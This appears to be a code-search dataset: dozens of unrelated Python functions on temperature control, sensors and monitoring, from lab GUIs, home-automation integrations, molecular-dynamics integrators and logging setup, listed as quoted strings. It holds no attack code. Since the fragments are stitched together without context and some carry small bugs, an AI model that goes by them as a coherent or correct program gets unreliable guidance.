self.variables.default_values_dict[\"settings\"][\"external_lights\"] = True\n else:\n self.variables.default_values_dict[\"settings\"][\n \"external_lights\"\n ] = False\n\n def check_light_state():\n if (\n self.variables.default_values_dict[\"settings\"][\"lights\"]\n and not light_btn.text() == \"Lights on\"\n ): # Checks if the lights are on and the button is off\n light_btn.setText(\"Lights on\")\n light_btn.setStyleSheet(\"background : rgb(0,255,0); border-radius: 5px\")\n elif (\n not self.variables.default_values_dict[\"settings\"][\"lights\"]\n and not light_btn.text() == \"Lights off\"\n ):\n light_btn.setText(\"Lights off\")\n light_btn.setStyleSheet(\"background : rgb(255,0,0); border-radius: 5px\")\n\n def config_plot(plot, plot2, pg):\n plot = plot.plotItem\n plot.setLabel(\"right\", \"humidity\", units=\"%\")\n plot.setLabel(\"bottom\", \"time\")\n plot.setLabel(\"left\", \"temperature\", units=\"Celsius\")\n plot.getAxis(\"left\").setPen(pg.mkPen(color=\"#c4380d\", width=3))\n plot.getAxis(\"right\").setPen(pg.mkPen(color=\"#025b94\", width=3))\n plot.showAxis(\"top\", show=True)\n plot.getAxis(\"top\").setTicks([])\n plot.getAxis(\"bottom\").setScale(1e-9)\n # plot.setRange(yRange=[15, 35])\n\n # For second plot\n plot.scene().addItem(\n plot2\n ) # inserts the second plot into the scene of the first\n plot2.setGeometry(plot.vb.sceneBoundingRect())\n plot.getAxis(\"right\").linkToView(\n plot2\n ) # links the second y axis to the second plot\n plot2.setXLink(plot) # sync the x axis of both plots\n # plot2.setRange(yRange=[0, 50])\n\n def __cut_arrays(data_array, maximum_time, arrays_to_cut):\n \"\"\"This function cuts an array to a maximum time difference\n This function is supposed to be used only for temp and humidity shaped arrays\n \"\"\"\n\n try:\n begin_time = data_array[arrays_to_cut[0]][0][0]\n end_time = data_array[arrays_to_cut[0]][0][-1]\n delta_time = (\n data_array[arrays_to_cut[0]][0][1]\n - data_array[arrays_to_cut[0]][0][0]\n )\n total_time = end_time - begin_time\n if total_time > maximum_time:\n over_time = total_time - maximum_time\n array_elm_to_drop = int(over_time / delta_time)\n for arrays in arrays_to_cut:\n data_array[arrays][0] = data_array[arrays][0][\n array_elm_to_drop:\n ]\n data_array[arrays][1] = data_array[arrays][1][\n array_elm_to_drop:\n ]\n except:\n pass\n\n def update_temphum_plots(kwargs=None):\n # for rooms in self.rooms:\n if self.variables.default_values_dict[\"settings\"][\"new_data\"]:\n temphum_plot.clear() # clears the plot and prevents a memory leak\n hum_plot_obj.clear()\n p1 = temphum_plot.plotItem\n\n ax = p1.getAxis(\"bottom\") # This is the trick\n __cut_arrays(\n self.variables.meas_data,\n float(\n self.variables.default_values_dict[\"settings\"].get(\n \"temp_history\", 3600\n )\n ),\n [\"temperature\", \"humidity\"],\n )\n ax.setTicks(\n [\n get_thicks_for_timestamp_plot(\n self.variables.meas_data[\"temperature\"][0],\n 5,\n self.variables.default_values_dict[\"settings\"][\n \"time_format\"\n ],\n )\n ]\n )\n\n try:\n if len(self.variables.meas_data[\"temperature\"][0]) == len(\n self.variables.meas_data[\"humidity\"][1]\n ): # sometimes it happens that the values are not yet ready\n p1.plot(\n self.variables.meas_data[\"temperature\"][0],\n self.variables.meas_data[\"temperature\"][1],\n pen={\"color\": \"r\", \"width\": 2},\n clear=True,\n )\n plot_item = setpg.PlotCurveItem(\n self.variables.meas_data[\"humidity\"][0],\n self.variables.meas_data[\"humidity\"][1],\n pen={\"color\": \"b\", \"width\": 2},\n clear=True,\n )\n hum_plot_obj.addItem(plot_item)\n del plot_item # the plot class needs a plot item which can be rendered, to avoid a mem leak delete the created plot item or 20k ram will be used\n # hum_plot_obj.addItem(setpg.plot(self.variables.meas_data[\"humidity\"][0],self.variables.meas_data[\"humidity\"][1],pen={'color': \"b\", 'width': 2}, clear=True))\n hum_plot_obj.setGeometry(\n p1.vb.sceneBoundingRect()\n ) # resize the second plot!\n except:\n pass\n\n # Create sublayout\n temphum_layout = QGridLayout()\n\n # Frame over the objects\n frame = QLabel()\n frame.setFrameStyle(QFrame.Box | QFrame.Raised)\n frame.setLineWidth(0)\n frame.setMidLineWidth(2)\n\n self.layout.addWidget(\n frame, self.temp_ypos, self.temp_xpos, self.temp_ysize, self.temp_xsize\n )\n\n x = np.zeros(1)\n y = np.zeros(1)\n\n setpg = pq\n # date_axis = CAxisTime(orientation='bottom') # Correctly generates the time axis\n hum_plot_obj = setpg.ViewBox() # generate new plot item\n temphum_plot = pq.PlotWidget()\n config_plot(temphum_plot, hum_plot_obj, setpg) # config the plot items\n\n self.variables.add_update_function(update_temphum_plots)\n\n # Additional Variables will be generated for temp and hum\n # self.variables.default_values_dict[\"settings\"].update({\"lights\": False, \"humidity_control\": True, \"current_tempmin\": 20, \"current_tempmax\": 25, \"current_hummin\": 20,\"current_hummax\": 25})\n\n # Spin Boxes for temp and humidity\n\n tempmin = QSpinBox()\n tempmax = QSpinBox()\n hummin = QSpinBox()\n hummax = QSpinBox()\n\n # Spinbox label\n textbox_temp = QLabel()\n textbox_temp.setText(\"Min temp. Max temp.\")\n textbox_temp.setFont(self.font)\n textbox_hum = QLabel()\n textbox_hum.setText(\"Min hum. Max hum.\")\n textbox_hum.setFont(self.font)\n\n # Config\n\n tempmin.setRange(15, 35)\n tempmin.setValue(\n float(\n self.variables.default_values_dict[\"settings\"].get(\"current_tempmin\", 0)\n )\n )\n tempmax.setRange(15, 35)\n tempmax.setValue(\n float(\n self.variables.default_values_dict[\"settings\"].get(\"current_tempmax\", 0)\n )\n )\n tempmin.valueChanged.connect(valuechange)\n tempmax.valueChanged.connect(valuechange)\n\n hummin.setRange(0, 70)\n hummin.setValue(\n float(\n self.variables.default_values_dict[\"settings\"].get(\"current_hummin\", 0)\n )\n )\n hummax.setRange(0, 70)\n hummax.setValue(\n float(\n self.variables.default_values_dict[\"settings\"].get(\"current_hummax\", 0)\n )\n )\n hummin.valueChanged.connect(valuechange)\n hummax.valueChanged.connect(valuechange)\n\n # Push buttons on the right for humidity control and light control\n\n dry_air_btn = QPushButton(\"Humidity ctl. off\")\n self.variables.default_values_dict[\"settings\"][\"humidity_control\"] = False\n dry_air_btn.setCheckable(True)\n dry_air_btn.toggle()\n dry_air_btn.clicked.connect(dry_air_action)\n dry_air_btn.setChecked(False)\n\n light_btn = QLabel()\n light_btn.setText(\"State not defined\")\n light_btn.setAlignment(QtCore.Qt.AlignVCenter | QtCore.Qt.AlignHCenter)\n light_btn.setStyleSheet(\"background : rgb(255,0,0); border-radius: 5px\")\n\n # light_btn.setCheckable(True)\n # light_btn.clicked.connect(light_action)\n\n # Humidity\n # temphum_plot.plot(x,y, pen=\"b\")\n\n # Widgets add\n temphum_layout.addWidget(textbox_temp, 0, 0, 1, 2)\n temphum_layout.addWidget(tempmin, 1, 0)\n temphum_layout.addWidget(tempmax, 1, 1)\n\n temphum_layout.addWidget(textbox_hum, 2, 0, 1, 2)\n temphum_layout.addWidget(hummin, 3, 0)\n temphum_layout.addWidget(hummax, 3, 1)\n\n temphum_layout.addWidget(dry_air_btn, 4, 0, 1, 2)\n temphum_layout.addWidget(light_btn, 5, 0, 3, 2)\n\n temphum_layout.addWidget(temphum_plot, 0, 3, 10, 2)\n\n temphum_layout.setContentsMargins(8, 8, 0, 8) # Makes a margin to the layout\n\n # Add the layout to the main layout\n self.layout.addLayout(\n temphum_layout,\n self.temp_ypos,\n self.temp_xpos,\n self.temp_ysize,\n self.temp_xsize,\n )\n\n def update():\n pass\n\n self.variables.add_update_function(update)\n self.variables.add_update_function(check_light_state)","def set_config_temperature(service):\n from maxcul.messages import ConfigTemperaturesMessage\n\n entity_id = service.data.get(ATTR_ENTITY_ID)\n comfort_temperature = service.data.get(ATTR_COMFORT_TEMPERATURE)\n eco_temperature = service.data.get(ATTR_ECO_TEMPERATURE)\n max_temperature = service.data.get(ATTR_MAX_TEMPERATURE)\n min_temperature = service.data.get(ATTR_MIN_TEMPERATURE)\n measurement_offset = service.data.get(ATTR_MEASUREMENT_OFFSET)\n window_open_temperature = service.data.get(ATTR_WINDOW_OPEN_TEMPERATURE)\n window_open_duration = service.data.get(ATTR_WINDOW_OPEN_DURATION)\n\n entity = None\n for dev in MAX.devices:\n if dev.entity_id == entity_id:\n entity = dev\n\n if entity is None or entity.type in [\"Cube\", \"ShutterContact\", \"PushButton\"]:\n return\n\n msg = ConfigTemperaturesMessage(0xB9, 0, CUBE_ID, entity.id, 0)\n payload = {\n 'comfort_Temperature': comfort_temperature,\n 'eco_Temperature': eco_temperature,\n 'max_Temperature': max_temperature,\n 'min_Temperature': min_temperature,\n 'measurement_Offset': measurement_offset,\n 'window_Open_Temperatur': window_open_temperature,\n 'window_Open_Duration': window_open_duration\n }\n MAX.thread.command_queue.put((msg, payload))\n entity.set_max_temp(max_temperature)\n entity.set_min_temp(min_temperature)","def __init__(self):\n self.temperature = 70.0\n self.status = \"sunny\"","def __init__(self):\n self.temperature = 70.0\n self.status = \"sunny\"","def __init__(self):\n self.temperature = 70.0\n self.status = \"sunny\"","def temperature():\n snmp.temperature()\n return 0","def __init__(self, alt=0, temp_offset=0):\n\t\tWorkingAtmosphere.__init__(self, alt)\n\t\t#self.temperature_offset = tOffset\n\t\tself.Temperature_offset = temp_offset\n\t\tself.make_environment()","def __init__(self, temperature=298.0 * simtk.unit.kelvin, nsteps=10, timestep=1 * simtk.unit.femtoseconds):\n\n super(HMCIntegrator, self).__init__(timestep)\n\n # Compute the thermal energy.\n kT = kB * temperature\n\n #\n # Integrator initialization.\n #\n self.addGlobalVariable(\"naccept\", 0) # number accepted\n self.addGlobalVariable(\"ntrials\", 0) # number of Metropolization trials\n\n self.addGlobalVariable(\"kT\", kT) # thermal energy\n self.addPerDofVariable(\"sigma\", 0)\n self.addGlobalVariable(\"ke\", 0) # kinetic energy\n self.addPerDofVariable(\"xold\", 0) # old positions\n self.addGlobalVariable(\"Eold\", 0) # old energy\n self.addGlobalVariable(\"Enew\", 0) # new energy\n self.addGlobalVariable(\"accept\", 0) # accept or reject\n self.addPerDofVariable(\"x1\", 0) # for constraints\n\n #\n # Pre-computation.\n # This only needs to be done once, but it needs to be done for each degree of freedom.\n # Could move this to initialization?\n #\n self.addComputePerDof(\"sigma\", \"sqrt(kT/m)\")\n\n #\n # Allow Context updating here, outside of inner loop only.\n #\n self.addUpdateContextState()\n\n #\n # Draw new velocity.\n #\n self.addComputePerDof(\"v\", \"sigma*gaussian\")\n self.addConstrainVelocities()\n\n #\n # Store old position and energy.\n #\n self.addComputeSum(\"ke\", \"0.5*m*v*v\")\n self.addComputeGlobal(\"Eold\", \"ke + energy\")\n self.addComputePerDof(\"xold\", \"x\")\n\n #\n # Inner symplectic steps using velocity Verlet.\n #\n for step in range(nsteps):\n self.addComputePerDof(\"v\", \"v+0.5*dt*f/m\")\n self.addComputePerDof(\"x\", \"x+dt*v\")\n self.addComputePerDof(\"x1\", \"x\")\n self.addConstrainPositions()\n self.addComputePerDof(\"v\", \"v+0.5*dt*f/m+(x-x1)/dt\")\n self.addConstrainVelocities()\n\n #\n # Accept/reject step.\n #\n self.addComputeSum(\"ke\", \"0.5*m*v*v\")\n self.addComputeGlobal(\"Enew\", \"ke + energy\")\n self.addComputeGlobal(\"accept\", \"step(exp(-(Enew-Eold)/kT) - uniform)\")\n self.addComputePerDof(\"x\", \"x*accept + xold*(1-accept)\")\n\n #\n # Accumulate statistics.\n #\n self.addComputeGlobal(\"naccept\", \"naccept + accept\")\n self.addComputeGlobal(\"ntrials\", \"ntrials + 1\")","def run(self):\n\n if self.success and not self.running:\n self.log.info(\"Humidity and temp control started...\")\n self.running = True\n elif self.testmode and not self.running:\n self.log.critical(\"Humidity and temp TEST MODE started!!!\")\n self.running = True\n elif not self.running:\n self.log.info(\"Humidity and temp control NOT started...\")\n return\n\n if not self.stop_measurement_loop and self.success:\n try:\n # Query the environemnt etc from Brandbox\n envvalues = self.vcw.query(\n self.resource, self.resource[\"get_environment\"]\n )\n envvalues = envvalues.split(\",\")\n\n # Get dewpoint\n boxvalues = self.vcw.query(\n self.resource, self.resource[\"get_box_environment\"]\n )\n boxvalues = boxvalues.split(\",\")\n\n vacuumvalues = self.vcw.query(\n self.resource, self.resource[\"get_vacuum\"]\n )\n\n # get light\n luxvalues = self.vcw.query(self.resource, self.resource[\"get_lux\"])\n luxvalues = luxvalues.split(\",\")[0]\n\n # if an error happen, as so often with the brandbox read the queue\n if self.readqueue:\n try:\n ans = self.vcw.read(self.resource)\n if ans:\n self.log.critical(\"Brandbox had an non empty queue: {}\".format(ans))\n except:\n self.log.info(\"Brandbox indicated an non empty queue, reading queue yielded no queue...\", exc_info=True)\n\n\n try:\n if float(luxvalues) >= 0.5:\n self.framework[\"Configs\"][\"config\"][\"settings\"][\"lights\"] = True\n else:\n self.framework[\"Configs\"][\"config\"][\"settings\"][\"lights\"] = False\n\n # get door\n # doorvalues = self.vcw.query(self.resource, self.resource[\"get_door\"])\n # doorvalues = doorvalues.split(\",\")[0]\n # if doorvalues == \"1\":\n # self.framework[\"Configs\"][\"config\"][\"settings\"][\"door\"] = False\n # else:\n # self.framework[\"Configs\"][\"config\"][\"settings\"][\"door\"] = True\n\n # get light\n vacuumvalues = vacuumvalues.split(\",\")[0]\n if vacuumvalues == \"1\":\n self.framework[\"Configs\"][\"config\"][\"settings\"][\"vacuum\"] = True\n else:\n self.framework[\"Configs\"][\"config\"][\"settings\"][\"vacuum\"] = False\n\n # Here a list\n self.main.humidity_history = np.append(\n self.main.humidity_history, float(envvalues[1])\n ) # todo: memory leak since no values will be deleted\n self.main.temperatur_history = np.append(\n self.main.humidity_history, float(envvalues[3])\n )\n\n # Write the pt100 and light status and environement in the box to the global variables\n self.framework[\"Configs\"][\"config\"][\"settings\"][\n \"chuck_temperature\"\n ] = float(envvalues[3])\n self.framework[\"Configs\"][\"config\"][\"settings\"][\n \"air_temperature\"\n ] = float(envvalues[0])\n self.framework[\"Configs\"][\"config\"][\"settings\"][\"dew_point\"] = float(\n boxvalues[3]\n )\n\n # Send data to main\n self.queue_to_main.put(\n {\n \"temperature_air\": [float(time()), float(envvalues[0])],\n \"temperature_chuck\": [float(time()), float(envvalues[3])],\n \"dew_point\": [float(time()), float(boxvalues[3])],\n \"humidity\": [float(time()), float(envvalues[1])],\n }\n )\n except:\n self.readqueue = True\n\n except Exception as err:\n self.log.error(\n \"The temperature and humidity controller seems not to be responding. Error: {!s}\".format(\n err\n ),\n exc_info=True,\n )\n\n elif self.testmode:\n self.log.critical(\"Testmode sends message to main!\")\n self.queue_to_main.put(\n {\n \"temperature\": [float(time()), float(random.randint(1, 10))],\n \"humidity\": [float(time()), float(random.randint(1, 10))],\n }\n )\n\n if not self.main.stop_measurement_loop:\n self.start_timer(self.run)\n else:\n self.log.info(\n \"Shutting down environment control due to stop of measurement loop\"\n )","async def set_temperature(self, **kwargs):\n if await self.atag.dhw_set_temp(kwargs.get(ATTR_TEMPERATURE)):\n self.async_schedule_update_ha_state(True)","def assign_surface_monitor(self, face_name, monitor_type=\"Temperature\", monitor_name=None):\n if not monitor_name:\n monitor_name = generate_unique_name(\"Monitor\")\n oModule = self.odesign.GetModule(\"Monitor\")\n oModule.AssignFaceMonitor([\"NAME:\" + monitor_name, \"Quantities:=\", [monitor_type], \"Objects:=\", [face_name]])\n return True","def test_temperature_sensor():\n channel = 0x77\n sensor = BMP085(channel)\n\n logger.info(\"...testing temperature sensor\")\n\n try: \n #WAIT!!! your hPaC initialization need to be put here :)\n temperature = sensor.readTemperature()\n logger.debug(\"**Temperature sensor activated.\")\n return sensor\n\n except:\n logger.error(\"Pressure sensor failed to initialize.\")\n logger.error(\"Please check your connection and try again.\")\n return False","def __set_temperatures(self):\n\t\twhile True:\n\t\t\ttemp = self.__get_correct_input()\n\t\t\tif temp != self.__QUIT_COMMAND:\n\t\t\t\tself.__total += temp\n\t\t\t\tself.__steps += 1\n\t\t\t\tif temp > self.__highest:\n\t\t\t\t\tself.__highest = temp\n\t\t\t\tif temp < self.__lowest:\n\t\t\t\t\tself.__lowest = temp\n\t\t\t\tif temp < self.__LOW_TEMPERATURE_ALARM:\n\t\t\t\t\tself.__cold_days += 1\n\t\t\telse:\n\t\t\t\tself.__print_ans()\n\t\t\t\tbreak","def test_temperature_to_metric(self):\n self.assertEqual(\n 25,\n METRIC_SYSTEM.temperature(25, METRIC_SYSTEM.temperature_unit))\n self.assertEqual(\n 26.7,\n METRIC_SYSTEM.temperature(80, IMPERIAL_SYSTEM.temperature_unit))","def set_temperature(self, temperature):\n pass","def installMonitoring():\n for name,data in Online.SetupParams.detectors.items():\n s = data['System']\n c = Online.PVSSSystems.controlsMgr(s)\n inst = Installer(c)\n streams = data['MonStreams']\n inst.createMonitoring(name,streams)\n return c","def simulate_temperature(self, temp):\n self._inside._mcp = CurrentTemperatureLibrary.SimAdc(self._inside, temp)","def __initializeMonitor( self ):\n if self.__moduleProperties[ 'standalone' ]:\n self.monitor = gMonitor\n else:\n self.monitor = MonitoringClient()\n self.monitor.setComponentType( self.monitor.COMPONENT_AGENT )\n self.monitor.setComponentName( self.__moduleProperties[ 'fullName' ] )\n self.monitor.initialize()\n self.monitor.registerActivity( 'CPU', \"CPU Usage\", 'Framework', \"CPU,%\", self.monitor.OP_MEAN, 600 )\n self.monitor.registerActivity( 'MEM', \"Memory Usage\", 'Framework', 'Memory,MB', self.monitor.OP_MEAN, 600 )\n # Component monitor\n for field in ( 'version', 'DIRACVersion', 'description', 'platform' ):\n self.monitor.setComponentExtraParam( field, self.__codeProperties[ field ] )\n self.monitor.setComponentExtraParam( 'startTime', Time.dateTime() )\n self.monitor.setComponentExtraParam( 'cycles', 0 )\n self.monitor.disable()\n self.__monitorLastStatsUpdate = time.time()","def create_model(self) -> None:\n self._model = create_model_with_temperature_scaling(self.config)","def __init__(self, temperature=298.0 * simtk.unit.kelvin, sigma=0.1 * simtk.unit.angstroms, timestep=1 * simtk.unit.femtoseconds):\n\n # Create a new Custom integrator.\n super(MetropolisMonteCarloIntegrator, self).__init__(timestep)\n\n # Compute the thermal energy.\n kT = kB * temperature\n\n #\n # Integrator initialization.\n #\n self.addGlobalVariable(\"naccept\", 0) # number accepted\n self.addGlobalVariable(\"ntrials\", 0) # number of Metropolization trials\n\n self.addGlobalVariable(\"kT\", kT) # thermal energy\n self.addPerDofVariable(\"sigma_x\", sigma) # perturbation size\n self.addPerDofVariable(\"sigma_v\", 0) # velocity distribution stddev for Maxwell-Boltzmann (set later)\n self.addPerDofVariable(\"xold\", 0) # old positions\n self.addGlobalVariable(\"Eold\", 0) # old energy\n self.addGlobalVariable(\"Enew\", 0) # new energy\n self.addGlobalVariable(\"accept\", 0) # accept or reject\n\n #\n # Context state update.\n #\n self.addUpdateContextState()\n\n #\n # Update velocities from Maxwell-Boltzmann distribution.\n #\n self.addComputePerDof(\"sigma_v\", \"sqrt(kT/m)\")\n self.addComputePerDof(\"v\", \"sigma_v*gaussian\")\n self.addConstrainVelocities()\n\n #\n # propagation steps\n #\n # Store old positions and energy.\n self.addComputePerDof(\"xold\", \"x\")\n self.addComputeGlobal(\"Eold\", \"energy\")\n # Gaussian particle displacements.\n self.addComputePerDof(\"x\", \"x + sigma_x*gaussian\")\n # Accept or reject with Metropolis criteria.\n self.addComputeGlobal(\"accept\", \"step(exp(-(energy-Eold)/kT) - uniform)\")\n self.addComputePerDof(\"x\", \"(1-accept)*xold + x*accept\")\n # Accumulate acceptance statistics.\n self.addComputeGlobal(\"naccept\", \"naccept + accept\")\n self.addComputeGlobal(\"ntrials\", \"ntrials + 1\")","def set_temperature(self):\n self.temperature = self.gui.doubleSpinBox_temperature.value()\n self.logger.debug('Changing the temperature to {}K'.format(self.temperature))\n\n self.anc350_instrument.temperature = self.temperature\n self.anc350_instrument.set_temperature_limits()\n\n self.max_dclevel_V = self.anc350_instrument.max_dC_level\n\n self.logger.debug('Changed the scanner piezo limits to {}'.format(self.max_dclevel_V))","async def _handle_temperature(\n self, msg: uavcan.si.sample.temperature.Scalar_1_0, metadata: pyuavcan.transport.TransferFrom\n ) -> None:\n print(\"TEMPERATURE\", msg.kelvin - 273.15, \"C\")\n\n # Publish the message synchronously, using await, blocking this task until the message is pushed down to\n # the media layer.\n if not await self._pub_diagnostic_record.publish(\n uavcan.diagnostic.Record_1_1(\n severity=uavcan.diagnostic.Severity_1_0(uavcan.diagnostic.Severity_1_0.TRACE),\n text=f\"Temperature {msg.kelvin:0.3f} K from {metadata.source_node_id} \"\n f\"time={metadata.timestamp.system} tid={metadata.transfer_id} prio={metadata.priority}\",\n )\n ):\n print(\n f\"Diagnostic publication timed out in {self._pub_diagnostic_record.send_timeout} seconds\",\n file=sys.stderr,\n )","def set_temperature(self, **kwargs: Any) -> None:\n if kwargs.get(ATTR_TEMPERATURE) is not None:\n self.vera_device.set_temperature(kwargs.get(ATTR_TEMPERATURE))\n\n self.schedule_update_ha_state()","def main():\n logging.basicConfig(format='[%(asctime)s] %(levelname)s %(message)s', level=logging.INFO)\n logging.info('** GillenWx Weather Station System Starting **')\n start_time = time.time()\n \n def signal_handler(*args):\n \"\"\" handles shutting down via signals \"\"\"\n if station:\n station.shutdown()\n\n try:\n signal(SIGTERM, signal_handler)\n signal(SIGHUP, signal_handler)\n\n\n station = WeatherStation() \n if not station.check_initialized():\n logging.error('Initialization failed. Exiting...')\n else:\n result = station.test_sensors()\n if result:\n station.run_loop()\n else:\n logging.error('Sensor tests failed. Exiting...')\n\n except KeyboardInterrupt:\n logging.info('Shutdown requested. Cleaning up...')\n station.shutdown()\n\n logging.info(\"Script Finished\")\n logging.info(\"Elapsed Time: %s seconds \", (time.time() - start_time))","def temperature(self, temperature: SmartSsdTemperature):\n\n self._temperature = temperature","def get_tecogan_monitors(monitor):\n monitor_vgg_loss = MonitorSeries(\n 'vgg loss', monitor, interval=20)\n monitor_pp_loss = MonitorSeries(\n 'ping pong', monitor, interval=20)\n monitor_sum_layer_loss = MonitorSeries(\n 'd layer loss', monitor, interval=20)\n monitor_adv_loss = MonitorSeries(\n 'adversarial loss', monitor, interval=20)\n monitor_disc_loss = MonitorSeries(\n 'discriminator loss', monitor, interval=20)\n monitor_tb = MonitorSeries(\n 'tb', monitor, interval=20)\n Monitor_tecogan = collections.namedtuple('Monitor_tecogan',\n ['monitor_vgg_loss', 'monitor_pp_loss', 'monitor_sum_layer_loss',\n 'monitor_adv_loss', 'monitor_disc_loss', 'monitor_tb'])\n return Monitor_tecogan(monitor_vgg_loss, monitor_pp_loss, monitor_sum_layer_loss, monitor_adv_loss, monitor_disc_loss, monitor_tb)","def get_temperature(self):\n # Fake a random temperature change\n temperature = random.randint(20, 25)\n self.set_temperature(temperature)","def give_temperature(self, value):\n self.temperature = value","def initialize_monitoring(monitor_name: str = LOG_NAME,\n logging_level=logging.INFO) -> logging.Logger:\n\n root_dir = os.path.abspath(os.path.dirname(__file__))\n date_postfix = datetime.today().strftime('%Y-%m-%d')\n file_name = f\"{root_dir}/{MONITORING_PATH}/{monitor_name}_{date_postfix}.log\"\n\n stream_handler = logging.StreamHandler()\n\n file_handler = logging.FileHandler(filename=file_name, mode='w+')\n\n logging.basicConfig(format=\"%(asctime)s %(message)s\",\n datefmt=\"%m/%d/%Y %I:%M:%S %p\",\n level=logging_level,\n handlers=[stream_handler, file_handler])\n\n monitor = logging.getLogger(name=monitor_name)\n return monitor","def set_temperature(self, temperature):\n self.Temp = temperature","def settemp(t=-10):\n print camera.SetTemperature(t)\n camera.status.update()","def main():\n # Initialize variables.\n global sensor\n global identified\n global finished\n\n upload_data_deadline = time.time()\n was_btn_pressed = is_button_pressed()\n upload_immediately = False\n\n print(\" +---------------------------------------+\")\n print(\" | End-to-End IoT Tank Monitoring Sample |\")\n print(\" +---------------------------------------+\\n\")\n\n # Instantiate the HDC1080 peripheral.\n try:\n sensor = HDC1080(I2C(1))\n except AssertionError:\n pass\n\n # Configure the Bluetooth advertisement.\n config_advertisement()\n\n # Register relay callback to handle incoming relay packets.\n relay.callback(relay_frame_callback)\n\n # Set the LED pin initial value to off (0).\n led_pin.off()\n\n # Wait until the device is connected to DRM.\n wait_drm_connection()\n\n # Start the main application loop.\n while True:\n # Sleep 100 ms.\n time.sleep_ms(100)\n\n # Check if the button was pressed.\n button_pressed = is_button_pressed()\n if not was_btn_pressed and button_pressed:\n toggle_valve()\n upload_immediately = True\n was_btn_pressed = button_pressed\n\n # Blink identification LED if necessary.\n if identified:\n if finished:\n identified = False\n finished = False\n else:\n led_pin.value(not led_pin.value())\n\n # Check if there is any DRM request to process.\n request = cloud.device_request_receive()\n upload_immediately |= process_drm_request(request)\n\n # Upload sensor values to DRM.\n if time.time() >= upload_data_deadline or upload_immediately:\n upload_sensor_data()\n upload_data_deadline = time.time() + DEFAULT_REPORT_INTERVAL\n upload_immediately = False","def set_temperature(self, **kwargs):\n temp = kwargs.get(ATTR_TEMPERATURE)\n if temp is None:\n return\n self._data.homestatus.setroomThermpoint(\n self._data.home_id, self._room_id, STATE_NETATMO_MANUAL, temp\n )\n\n self.update_without_throttle = True\n self.schedule_update_ha_state()","def test_create_healthmonitor_with_mandatory_params(self):\r\n resource = 'health_monitor'\r\n cmd = healthmonitor.CreateHealthMonitor(test_cli20.MyApp(sys.stdout),\r\n None)\r\n admin_state_up = False\r\n delay = '60'\r\n max_retries = '2'\r\n timeout = '10'\r\n type = 'TCP'\r\n tenant_id = 'my-tenant'\r\n my_id = 'my-id'\r\n args = ['--admin-state-down',\r\n '--delay', delay,\r\n '--max-retries', max_retries,\r\n '--timeout', timeout,\r\n '--type', type,\r\n '--tenant-id', tenant_id]\r\n position_names = ['admin_state_up', 'delay', 'max_retries', 'timeout',\r\n 'type', 'tenant_id']\r\n position_values = [admin_state_up, delay, max_retries, timeout, type,\r\n tenant_id]\r\n self._test_create_resource(resource, cmd, '', my_id, args,\r\n position_names, position_values)","def getTemperatureMeasurements(self):\n # self.board.readline()\n self.stop = False\n times = []\n temps = [[], [], []]\n \n # A synchronisation string containing the characters tx is sent before each set of measurements,\n # we ensure correct reading of the measurements by waiting for this string\n while str(self.board.readline()).strip('b\\'\\\\rn') != 'tx':\n pass\n \n while not self.stop:\n # A synchronisation string containing the characters tx is sent before each set of measurements\n tx = self.board.readline()\n if str(tx).strip('b\\'\\\\rn') == 'tx':\n rawData1 = self.board.readline()\n rawData2 = self.board.readline()\n rawData3 = self.board.readline()\n rawData4 = self.board.readline()\n \n \n timeStamp = str(rawData1).strip('b\\'\\\\rn')\n temp1 = str(rawData2).strip('b\\'\\\\rn')\n temp2 = str(rawData3).strip('b\\'\\\\rn')\n temp3 = str(rawData4).strip('b\\'\\\\rn')\n try:\n times.append(float(timeStamp) / 1000)\n temps[0].append(float(temp1) / 128)\n temps[1].append(float(temp2) / 128)\n temps[2].append(float(temp3) / 128)\n # print(f'\\rtime: {float(timeStamp) / 1000:.2f} s, Temperature measured on sensor 1: {float(temp1) / 128:.2f} °C,'\n # f'sensor 2: {float(temp2) / 128:.2f} °C, sensor 3: {float(temp3) / 128:.2f} °C', sep='', end='', flush=True)\n except:\n print(rawData1, rawData2, rawData3, rawData4)\n \n \n if self.stop:\n print('\\nMeasurement finished...')\n \n self.data_stack[self.fetch_kinds[0]] = times\n self.data_stack[self.fetch_kinds[1]] = temps[0]\n self.data_stack[self.fetch_kinds[2]] = temps[1]\n self.data_stack[self.fetch_kinds[3]] = temps[2]\n \n if (len(self.data_stack['Sensor 1 Temp']) != len(times) or len(self.data_stack['Sensor 2 Temp']) != len(times) or len(self.data_stack['Sensor 3 Temp']) != len(times)):\n print(\"Warning: There may be some missing values!\")","def set_temperature(self, temperature):\n self.temperature = temperature","def __init__(self, config, sensor=None):\n if sensor is None:\n from monitor.sensor import SensorDriver\n self.sensor = SensorDriver(config.getint(CONFIG_SECTION, \"trigger_pin\"),\n config.getint(CONFIG_SECTION, \"echo_pin\"))\n else:\n self.sensor = sensor\n self.num_samples = config.getint(CONFIG_SECTION, \"num_samples\")\n self.drop_extremes = config.getboolean(CONFIG_SECTION, \"drop_extremes\")\n self.sample_delay = config.getfloat(CONFIG_SECTION, \"sample_delay\")\n self.is_running = False\n self.dist_to_bottom = config.getfloat(CONFIG_SECTION, \"distance_to_bottom\")","def test_sensor_temperature(self):\n with patch.dict(TYPES, {'TemperatureSensor': self.mock_type}):\n state = State('sensor.temperature', '23',\n {ATTR_DEVICE_CLASS: 'temperature'})\n get_accessory(None, state, 2, {})","async def async_set_temperature(self, **kwargs: Any) -> None:\n temp: float = kwargs[ATTR_TEMPERATURE]\n await self._thermostat.manual(temp)\n await self.coordinator.async_request_refresh()","def poll_all_sensors(self):\n # Read input pin state of the monitor MCPs\n mcp_mon_0 = self.mcp_temp_mon[0].input_pins([0, 1, 2, 3, 4, 5, 7])\n mcp_mon_1 = self.mcp_temp_mon[1].input_pins(self.ALL_PINS)\n mcp_mon_2 = self.mcp_temp_mon[2].input_pins(self.ALL_PINS)\n mcp_mon_3 = self.mcp_temp_mon[3].input_pins([0, 1, 2, 3, 4, 5])\n\n # Read input pin state of the misc MPCs\n mcp_misc_0 = self.mcp_misc[0].input_pins([2, 3, 4, 5, 6, 7])\n mcp_misc_1 = self.mcp_misc[1].input_pins([0, 1, 2, 3])\n mcp_misc_2 = self.mcp_misc[2].input_pins([1, 2, 4, 5, 6, 7])\n mcp_misc_3 = self.mcp_misc[3].input_pins([0, 1, 2, 3, 4])\n\n # Read, convert and store all temperature values and setpoints from the ADCs and\n # extract and store all trip, trace and disabled states from the MCPs\n\n for i in range(4):\n self.__temperature_disabled[i + 4] = mcp_mon_0[i]\n\n self.__temperature_disabled[10] = mcp_mon_0[4]\n\n for i in range(8):\n self.__temperature_set_points_raw[i] = self.adc_temp_mon[0].read_input_scaled(i)\n 